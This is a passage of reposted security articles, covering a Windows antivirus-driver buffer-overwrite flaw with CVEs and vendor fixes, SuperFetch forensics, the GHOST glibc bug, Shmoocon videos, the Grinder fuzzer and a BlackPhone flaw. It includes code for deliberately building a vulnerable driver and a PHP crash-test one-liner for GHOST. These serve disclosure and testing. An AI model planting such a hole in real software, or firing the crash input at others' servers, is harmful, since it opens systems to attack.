IRP_INPUT_OPERATION) && (Irp->IoStatus.Status != STATUS_VERIFY_REQUIRED) && !(NT_ERROR(Irp->IoStatus.Status))) { RtlCopyMemory(Irp->UserBuffer, Irp->AssociatedIrp.SystemBuffer, Irp->IoStatus.Information); } }Here is it does its bitwise AND operation and dictates its outcome, jump or not to jump. Conditions of a Vulnerable Driver During completion of an IRP the I/O Manager copies the data from the system buffer back to the user’s output buffer if using Buffered I/O method (METHOD_BUFFERED) and the status is of a success or warning. The number of bytes to copy is taken from the Irp->IoStatus.Information field. The following range values indicate error and warning status codes: NTSTATUS codes 0xC0000000 – 0xFFFFFFFF are errors NTSTATUS codes 0x80000000 – 0xBFFFFFFF are warnings In the above code we can see it uses the macro NT_ERROR() to evaluate if not an error status. So if the data is too large for the buffer, the driver completes the IRP with a status STATUS_BUFFER_OVERFLOW (0x80000005), which falls in the warning range, and the Irp->IoStatus.Information will be updated with the buffer size and data copied over. If completed with status STATUS_BUFFER_TOO_SMALL (0xC0000023) which falls in the error range, the I/O Manager does not copy any data back to the output buffer as it sets the Irp->IoStatus.Information to 0. To reproduce a vulnerable driver for testing purposes use this code in your dispatch routine for Buffered I/O. The IoStatus.Information value has to be 1 or more for an overwrite to take place. Irp->IoStatus.Information = 4; Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); Windows supports three I/O transfer methods, which the driver developer can use for reading and writing data to memory. One method being Buffered I/O where the I/O Manager allocates a system buffer of equal size to the users inputted buffer. For write operations, the I/O manager copies the user’s buffer data into the system buffer. For read operations, the I/O manager copies data from the system buffer to the users output buffer when the IRP completes and then frees the system buffer. Buffered I/O is defined in the driver for example like this CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)So when using METHOD_BUFFERED it copies our system data back to our UserBuffer address when IRP is completed using the IoCompleteRequest function. Fixing a Vulnerable Driver Asking the same question to all the vendors on how they each fixed the issue it was interesting to find different approaches had been taken. One approach was to check if the output buffer address was in the user space if (Irp->UserBuffer > MmHighestUserAddress) { ntStatus = STATUS_INVALID_PARAMETER; }Another approach was to check the size of the output buffer if (iBufferOutSize < sizeof(ULONG)) { ntStatus = STATUS_INVALID_BUFFER_SIZE; } Depending on the dispatch conditions just by changing the status value to an error status is enough to resolve the vulnerability. I would like to thank BullGuard, AVG and K7 Computing for kindly sharing information. A special thanks to BullGuard as they were very helpful and provided a lot more important information which saved me a lot of time on this research. I can’t say the same for the other three vendors: McAfee, Symantec and TrendMicro. All three decided not to share anything; do you see anything confidential in the above code? Published Advisories This table below provides information on the products where this vulnerability had been discovered. [TABLE=width: 624] [TR] [TD=width: 85, bgcolor: #33353D]Vendor[/TD] [TD=width: 185, bgcolor: #33353D]Product[/TD] [TD=width: 75, bgcolor: #33353D]OSVDB[/TD] [TD=width: 150, bgcolor: #33353D]CVE ID[/TD] [TD=width: 85, bgcolor: #33353D]Days[/TD] [TD=width: 104, bgcolor: #33353D]Vendor link[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]McAfee[/TD] [TD=width: 158, bgcolor: #33353D]Data Loss Prevention[/TD] [TD=width: 67, bgcolor: #33353D]117345[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2015-1305[/TD] [TD=width: 95, bgcolor: #33353D]99[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]Trend Micro[/TD] [TD=width: 158, bgcolor: #33353D]Antivirus Plus Internet Security Maximum Security[/TD] [TD=width: 67, bgcolor: #33353D]115514[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9641[/TD] [TD=width: 95, bgcolor: #33353D]70[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]Symantec[/TD] [TD=width: 158, bgcolor: #33353D]Altiris Client[/TD] [TD=width: 67, bgcolor: #33353D]116082[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-7286[/TD] [TD=width: 95, bgcolor: #33353D]59[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]AVG[/TD] [TD=width: 158, bgcolor: #33353D]Internet Security[/TD] [TD=width: 67, bgcolor: #33353D]113824[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9632[/TD] [TD=width: 95, bgcolor: #33353D]26[/TD] [TD=width: 104, bgcolor: #33353D]Release notes[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]K7 Computing[/TD] [TD=width: 158, bgcolor: #33353D]Ultimate Security Anti-Virus Plus Total Security[/TD] [TD=width: 67, bgcolor: #33353D]113007[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9643[/TD] [TD=width: 95, bgcolor: #33353D]22[/TD] [TD=width: 104, bgcolor: #33353D]None[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]BullGuard[/TD] [TD=width: 158, bgcolor: #33353D]Antivirus Internet Security Premium Protection Online Backup[/TD] [TD=width: 67, bgcolor: #33353D]114478[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9642[/TD] [TD=width: 95, bgcolor: #33353D]16[/TD] [TD=width: 104, bgcolor: #33353D]Release notes[/TD] [/TR] [/TABLE] Advisories published by some vendors were very unprofessional. Trend Micro had to be advised to correct their description, as they didn’t get it right the first time since it had a number of mistakes and was initially published without consultation. Also the fix applies all the way to Trend Titanium products 2015, which was stated in my vulnerability report but not mentioned in their advisory. For Symantec, well they are not any better. After waiting nearly two months they ended up releasing an advisory advising only to uninstall the driver. Also, their advisory link in their mitigation information section refers to a knowledge base article DOC7993 on how to remove the driver. However, if you take a look as this article it starts off mentioning the MQAC.sys driver and points to a Microsoft link. I had this flagged at the time but no action has been taken. It’s a similar vulnerability so they must have just copied and pasted it without reading it. What is really shocking is that McAfee took 99 days to release an advisory to the public whereas BullGuard took only 16 days. Does that mean if an exploit was made public we would have had to wait 99 days for an update? Also, McAfee failed to mention in their advisory that it also affects Windows Server 2003, which was clearly stated in my vulnerability report as the product is supported on Windows Server 2003. I however did not test it on Windows Server 2003 R2 (32bit) but did reverse engineer ntoskrnl.exe from Windows Server 2003 R2 (64bit) and did have only the address check in the IopXxxControlFile function. There is a 64bit version for McAfee DLP so should be exploitable too. Other Vendors Assessment carried out on some of the security vendors’ products that were not affected from this type of vulnerability are listed below. This is no way an assurance that their products are free from this vulnerability, as there is a possibility some ioctls may have been missed, input buffer sizes may have changed the codepath, device handles not loaded, etc. Agnitum AhnLab Avast Avira BitDefender ClamAV Comodo Emsisoft Eset Fortinet FRISK Software F-Secure G Data Kaspersky Lab Kingsoft Malwarebytes Nano Security Norman Panda Security Sophos TrustPort ThreatTrack Security Webroot Zemana Other Windows Versions Since all my tests were on a fully patched Windows XP SP3 32bit and Windows 7 SP1 32bit I thought I’d check some other operating systems. Checking on Windows Server 2003 SP2 Standard Edition 32bit found to have the same issue as Windows XP and during tests exploited successfully. Windows Server 2003 has still got over 5 months before the end-of-life so for those of you still using Windows 2003 better upgrade to a later operating system if you’ve not already done so. On a clean default installation of Windows Vista 32bit in an unpatched state the output buffer length check had been applied like Windows 7. This means Microsoft did know about this issue and added the check before release. There are plenty of products designed only to run on Windows Servers, which I have not audited, so maybe it’s a good time for researchers to discover some low-hanging fruit. Final thoughts One thing is clear from this research and working with vendors: Just because it’s a big company doesn’t mean you’ll get great service. There are plenty of other vendors doing an excellent job so we should not blindly need to go with the likes of McAfee, Symantec or Trend Micro. Updating machines is a tedious job at times so really we should be focusing on mitigation products like Microsoft EMET and MalwareBytes Anti-Exploit and not be so dependent on constantly updating machines for security. Bottom line is to upgrade to the latest operating systems as it will have a number of mitigations, checks, validations in place that we probably don’t even know about yet keeping us safe. I’ll start submitting the exploits to Exploit-DB in the next few days and tweet you all once published. References http://msdn.microsoft.com/en-us/library/ff550694(v=VS.85).aspx http://msdn.microsoft.com/en-gb/library/cc704588.aspx http://msdn.microsoft.com/en-us/library/ff545693.aspx http://msdn.microsoft.com/en-us/library/windows/hardware/ff548649(v=vs.85).aspx http://doxygen.reactos.org/d6/dfc/ntoskrnl_2io_2iomgr_2irp_8c_source.html http://www.cmlab.csie.ntu.edu.tw/~cathyp/eBooks/WindowsNT/Driver/IRPs.pdf [PDF] http://www.tutorialspoint.com/assembly_programming/assembly_logical_instructions.htm http://blogs.msdn.com/b/doronh/archive/2006/12/12/how-to-return-the-number-of-bytes-required-for-a-subsequent-operation.aspx Sursa: www.greyhathacker.net/?p=818

What is New in Windows Application Execution? Posted by Chad Tilbury Filed under Computer Forensics One of the great pleasures of performing Windows forensics is there is no shortage of application execution artifacts. Application execution tells us what has run on a system and is often the pivot point that reveals important activity on the system. Why was FTP run on this workstation? Is it normal to see execution of winsvchost.exe? Why was a privacy cleaning tool used for the first time during the system owner's last week of work? While undoubtedly useful, our adversaries are more forensic-aware than ever and often take steps to eliminate application execution artifacts. At CrowdStrike we routinelyencounter nation-state groups that attempt to delete Prefetch. Even the popular CCleaner anti-forensics tool defaults to clearing Prefetch and UserAssist data. Hence having additional sources of data can often mean the difference between an easy examination and a long, painful one. UserAssist, Muicache and Prefetch have been long understood and even significantly upgraded in newer versions of Windows. Jared Atkinson and Yogesh Khatri provided excellent updates on Prefetch changes in Windows 8. More recently, Andrew Davis documented the Application Compatibility Cache (Shimcache) and Corey Harrell posted information on the RecentFileCache.bcf file. Yogesh Khatri followed up with Amcache.hve, the replacement to RecentFileCache.bcf in Windows 8. All of these artifacts have particular strengths and weaknesses, but one we haven't heard much about lately is SuperFetch. SuperFetch SuperFetch has been on the forensic radar since the preview versions of Windows Vista. It was lauded as an upgrade to the venerable Prefetch with the promise to proactively optimize application memory with regards to time and usage scenarios. The applications you use first thing in the morning are often different than those after lunch and perhaps different still from those run after work hours. It is important to note that it does not replace the Prefetch service. SuperFetch must have had the desired effect on performance as Microsoft chose to continue its use in Windows 8.1 and Windows 10.SuperFetch consists of a series of "Ag*.db" database files located in the %SystemRoot%\Prefetch folder. It is wildly complicated with a variety of different header formats for different databases, versions and architectures (x86 and x64) of Microsoft operating systems. On systems with SSD drives, it may be turned off by default (similar to Prefetch). There are still many gaps in our knowledge of SuperFetch, but it feels like the community is inching closer. Joachim Metz started a specification document for the format In April of 2014 as part of thelibyal documentation project. However, the number of "Unknown" values in the document make it clear that we have a way to go in developing a true understanding. Parsing SuperFetch SuperFetch tracks "performance scenarios" and is specifically designed to anticipate frequently run applications after system activity like standby mode, hibernation, and fast-user switching. It records the set of memory pages used over a long period of time, allowing it to model user behavior and make better decisions about when to pre-load application data into memory. It is these databases recording what has been loaded in the past that we can take advantage for application execution artifacts. We can currently derive the following information: Application executable names Execution count Foreground count Supporting files (includes the full paths of a wide range of files that have been mapped into memory including DLLs, zip files, documents, database files, and files and folders present on removable media, the Recycle Bin, temp folders, and even Volume Shadow Copies and encrypted volumes) Volumes accessed (example: HardDiskVolume1) Full path information providing data on folders present on various volumes access by the system Timeframes of application activity Timestamp (from the AgAppLaunch database - purpose unknown but appears to not be reliably tied to execution time in testing) The timeframes of application activity fall into the following ranges: Weekday 6AM to 12PM Weekday 12PM to 6PM Weekday 6PM to 12AM Weekday Global Weekend 6AM to 12PM Weekend 12PM to 6PM Weekend 6PM to 12AM Weekend Global Curiously there seems to be a blind spot in the 12AM to 6AM range. Good thing so many hackers are working business hours these days! While timeframe information stored by SuperFetch has yet to be vetted for its reliability, it presumably could help identify application activity occurring at strange times. For instance, is it normal to see your company database application accessed over the weekend? Tools The first tools that I became aware of for parsing SuperFetch were released by TMurgent. Superfetchlist.exeis a CLI tool providing full path information for files referenced in the various SuperFetch databases.SuperFetch Tree is a clever GUI application that provides a graphical tree structure and neatly identifies what databases a given file or folder were referenced within. A few days ago I posted on the CrowdStrike blog about the latest version of the free CrowdResponse tool now supporting Prefetch, Shimcache, and SuperFetch application execution artifacts. CrowdResponse includes a SuperFetch module providing the most solid and useful data from this artifact that I have seen. It is the brainchild of research and development by Alex Ionsecu and Robin Keir and can be used for live data collection or run against databases files exported from a system or forensic image. CrowdResponse parses data from the AgAppLaunch.db SuperFetch database and provides output in XML, CSV, or HTML. The tool extracts an abundance of application execution information, execution counts, and timeframe information. Conclusion It is exciting to have the capability to parse yet another Windows application execution artifact. However, given the state of our knowledge of SuperFetch, I recommend taking a cautionary approach to interpreting data found within these files. There is still much to be discovered, and the good news is that early indications show this artifact will likely continue to exist in Windows 10. Hopefully with more eyes on the databases we can get more comfortable with the available data and continue to learn more. References: [1] Forensics Wiki: SuperFetch [2] Inside the Windows Vista Kernel: Part 2 [3] Windows SuperFetch (DB) Format from libyal Project [4] SuperFetch Tools from TMurgent [5] CrowdResponse with @superfetch plugin Chad Tilbury, GCFA, serves as a Technical Director for CrowdStrike and has spent over fifteen years conducting computer crime investigations ranging from hacking to espionage to multi-million dollar fraud cases. He is a Senior Instructor and co-author of FOR408 Windows Forensics and FOR508 Advanced Computer Forensic Analysis and Incident Response at the SANS Institute. Find him on Twitter @chadtilbury. Sursa: http://digital-forensics.sans.org/blog/2015/01/28/whats-new-in-windows-application-execution

Critical “GHOST” Vulnerability Released By Marc-Alexandre Montpas on January 28, 2015 . 3 Comments A very critical vulnerability affecting the GNU C Library (glibc) is threatening Linux servers for a remote command execution. This security bug was discovered by Qualys security researchers and will probably cause a lot of headaches to those who won’t update right away. Where does the issue come from? This is a buffer overflow issue in glibc’s function __nss_hostname_digits_dots(), which is itself used by multiple others like gethostbyname() and gethostbyname2(). This is a critical issue as these functions are used in an enormous amount of software and server-level mechanisms. An attacker would need to send a very specific set of bytes to the function in order to trigger the bug and attempt to get command execution privileges on the victim’s server. What does it affect exactly? So far, these applications have been proven to fall to the aforementioned attack: clockdiff procmail (through its comsat/biff feature) pppd Exim mail server (if configured with the “helo_verify_hosts” or “helo_try_verify_hosts” options) We also have good reasons to believe PHP applications might also be affected, through itsgethostbyname() function wrapper. An example of where this could be a big issue is within WordPress itself: it uses a function named wp_http_validate_url() to validate every pingback’s post URL: …and it does so by using gethostbyname(). So an attacker could leverage this vector to insert a malicious URL that would trigger a buffer overflow bug, server-side, potentially allowing him to gain privileges on the server. Update as soon as possible! This is a very critical vulnerability and should be treated as such. If you have a dedicated server (or VPS) running Linux, you have to make sure you update it right away. We know for a fact that Centos/RHEL/Fedora 5,6,7 as vulnerable, as well as some Ubuntu versions. As a quick test, if you run the following PHP code on your terminal: php -r '$e="0";for($i=0;$i<2500;$i++){$e="0$e";} gethostbyname($e);' Segmentation fault And get a segmentation fault, it means your server is vulnerable. Be sure to watch for your distribution’s fix for the patch (yum update is your friend). Sursa: Critical “GHOST” Vulnerability Released | Sucuri Blog

Google Fixed GHOST Exploit in Chrome OS in 2014 and Didn't Tell Anyone This is just a mistake on Google's part, most likely Details about a GLIBC vulnerability were published a couple of days ago by a company called Qualys, and the distributions using it have already received patches. Now, it seems that Google knew about this problem, patched it in ChromeOS a year ago, and forgot to say anything to anyone. Things are pretty clear in the open source world. When someone finds a vulnerability, exploit, or any kind of issues, that person or entity usually informs everyone else about it. That's the reason why CVE (Common Vulnerabilities and Exposures) exists so that everyone can patch their systems accordingly and keep their systems safe. All kinds of problems are found almost on a daily basis. Users don't usually hear about them because they are not major issues and they are patched very quickly. This happens in the open source world, with Linux systems and alike. There is a completely different ball game with proprietary software. From time to time, a big one is found and everyone knows about it. Many of you have heard of Heartbleed or Shellshock. This is a general rule, although it's not always true. If you hear about it, then it's probably important. Which brings us to GHOST, a GLIBC vulnerability. Despite what you might think, it's not a really big deal, but that's not the issue here.Google knew about it since 2014 As usual, Reddit is here to the rescue. A user noticed that a patch for this problem was already present in Chrome OS back in 2014, which begs the question: why are the rest of us just hearing about this now? Moreover, a German website, heise.de, proved that Chrome OS had the patch since April 2014, which is actually a problem because it didn't spread any farther than that. "The comit message clearly states they were aware of the vulnerability nature of this fix: 'glibc: backport an nss overflow patch. This beckports a patch to fix a nss vulnerability inside glibc. I'm CC-ing the committer. Maybe we can shed some light on this. Two people having fixed this in different places without crying alarm - it's worrying," wrote journalist Hanno Böck on a security-related mailing list. Most likely, this is just a mistake and Google didn't do this on purpose, but it does raise another question. How many more of these unreported and solved problems are there? This is just breaking and Google has yet to say anything. Stay tuned, we might have some more information about this subject soon. By Silviu Stahie Sursa: Google Fixed GHOST Exploit in Chrome OS in 2014 and Didn't Tell Anyone - Softpedia

Shmoocon 2015 Videos Videos from Shmoocon 2015, held in Washington DC, January 16-18, 2015. These are the full videos recorded and available from the event, put into one item to allow playlisting. Individual talk items are currently available as well. This movie is part of the collection:Hacker Conferences Language:English Individual Files [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Movie Files[/TH] [TH=align: left]Animated GIF[/TH] [TH=align: left]MPEG4[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]0wn the Con [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]247.4 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]5 Usability [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]69.8 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Analyzing POS Malware [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Ask EFF [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]334.9 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Automated Binary Analysis with Pin and Python [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]175.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]BIOS Bugs [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]96.6 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Closing Remarks [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]344.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Cockroach Analysis [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]200.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]College Hacking [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]175.8 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Come to the Dark Side [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]139.9 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Crypto [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]130.4 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Dark Art of Data Visualization [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Deception for the Cyber Defender [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]185.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Eliminating Timing Side Channel Attacks [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]157.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Get off my lawn [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]360.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]How Random Is Your RNG [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]202.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Infrastructure Tracking [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]474.3 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Keynote [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]272.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Knock Knock [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]140.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Malicious Image Spam [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]74.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Manually Searching Advisories and Blogs for Threat Data [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]366.7 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Micronesia [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]237.4 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]NSA USB Playset [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]194.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]NaCl Crypto Library [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]178.8 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]No Budget Threat Intel [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]303.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Opening Rants [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]339.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Practical Machine Learning for Network Security [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]305.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Quantum Computing [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]185.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Rethinking Securitys Role in CompSci Edu [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]217.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]SEWIFI [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]82.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Saturday Firetalks [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]558.8 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Tap On Tap Off [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]212.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]The Joy of Intelligent Proactive Security [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]399.9 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Understanding a New Memory Corruption Defense [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]327.4 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Userland Persistance [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]66.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Where The Wild Things Are [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.1 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Wheres Waldo [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]354.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]White is the New Black [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]126.1 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Whitelisting Evasion [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]75.3 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Windows Sandbox Paradox [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]194.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]httpscreenshot [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]198.4 MB [/TD] [/TR] [/TABLE] [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Information[/TH] [TH=align: left]Format[/TH] [TH=align: left]Size[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_files.xml[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left][file][/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_meta.sqlite[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left]59.0 KB[/TD] [/TR] [TR=class: odd] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_meta.xml[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left]717.0 B[/TD] [/TR] [/TABLE] [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Other Files[/TH] [TH=align: left]Archive BitTorrent[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_archive.torrent[/TD] [TD=align: left]57.1 KB[/TD] [/TR] [/TABLE] Sursa: https://archive.org/details/shmoocon-2015-videos-playlist

Grinder - System to Automate the Fuzzing of Web Browsers Lydecker Black on 5:00 PM Grinder is a system to automate the fuzzing of web browsers and the management of a large number of crashes. Grinder Nodes provide an automated way to fuzz a browser, and generate useful crash information (such as call stacks with symbol information as well as logging information which can be used to generate reproducible test cases at a later stage). A Grinder Server provides a central location to collate crashes and, through a web interface, allows multiple users to login and manage all the crashes being generated by all of the Grinder Nodes. System Requirements A Grinder Node requires a 32/64 bit Windows system and Ruby 2.0 (Ruby 1.9 is also supported but you wont be able to fuzz 64bit targets). A Grinder Server requires a web server with MySQL and PHP. Features Grinder Server features: Multi user web application. User can login and manage all crashes reported by the Grinder Nodes. Administrators can create more users and view the login history. Users can view the status of the Grinder system. The activity of all nodes in the system is shown including status information such as average testcases being run per minute, the total crashes a node has generated and the last time a node generated a crash. Users can view all of the crashes in the system and sort them by node, target, fuzzer, type, hash, time or count. Users can view crash statistics for the fuzzers, including total and unique crashes per fuzzer and the targets each fuzzer is generating crashes on. Users can hide all duplicate crashes so as to only show unique crashes in the system in order to easily manage new crashes as they occur. Users can assign crashes to one another as well as mark a particular crash as interesting, exploitable, uninteresting or unknown. Users can store written notes for a particular crash (viewable to all other users) to help manage them. Users can download individual crash log files to help debug and recreate testcases. Users can create custom filters to exclude uninteresting crashes from the list of crashes. Users can create custom e-mail alerts to alert them when a new crash comes into the system that matches a specific criteria. Users can change their password and e-mail address on the system as well as view their own login history. Grinder Node features: A node can be brought up and begin fuzzing any supported browser via a single command. A node injects a logging DLL into the target browser process to help the fuzzers perform logging in order to recreate testcases at a later stage. A node records useful crash information such as call stack, stack dump, code dump and register info and also includes any available symbol information. A node can automatically encrypt all crash information with an RSA public key. A node can automatically report new crashes to a remote Grinder Server. A node can run largely unattended for a long period of time. Grinder Screenshots Download Grinder Sursa: http://hack-tools.blackploit.com/2015/01/grinder-system-to-automate-fuzzing-of.html

Bug in ultra secure BlackPhone let attackers decrypt texts, stalk users Silent Circle purges remotely exploitable "type confusion" flaw. by Dan Goodin - Jan 28 2015, 7:30am GTBST A recently fixed vulnerability in the BlackPhone instant messaging application gave attackers the ability to decrypt messages, steal contacts, and control vital functions of the device, which is marketed as a more secure way to protect communications from government and criminal snoops. FURTHER READING Custom-built with privacy in mind, this handset isn’t for (Google) Play. Mark Dowd, a principal consultant with Australia-based Azimuth Security, said would-be attackers needed only a user's Silent Circle ID or phone number to remotely exploit the bug. From there, the attacker could surreptitiously decrypt and read messages, read contacts, monitor geographic locations of the phone, write code or text to the phone's external storage, and enumerate the accounts stored on the device. He said engineers at BlackPhone designer Silent Circle fixed the underlying bug after he privately reported it to them.The vulnerability resided in SilentText, the secure text messaging application bundled with the BlackPhone and also as a free Android App in Google Play. A component known as libscimp contained a type of memory corruption flaw known as a type confusion vulnerability. Libscimp is the BlackPhone implementation of the Silent Circle Instant Messaging Protocol (SCIMP) and runs on top of the extensible messaging and presence protocol (XMPP). SCIMP is used to create secure end-to-end channels between people sending text messages. It handles the transportation of the encrypted data through the channel. Type confusion vulnerabilities occur when one data type is mistakenly interpreted as another. Usually, a pointer to one object is incorrectly manipulated as a pointer to an object of a different type. In unmanaged languages such as C, these flaws often result in invalid memory accesses that can be exploited in ways similar to so-called use-after-free bugs. Dowd and fellow researchers Ryan Smith and David Dewey spoke about type confusion at the 2009 Black Hat security conference. The BlackPhone attack could be triggered by sending targets a specially designed payload that allowed an attacker to overwrite a pointer in memory, paving the way to replacing normal contents with malicious ones. Dowd provides a spectacularly deep technical explanation in his blog. The vulnerability is a potent reminder that strong encryption means 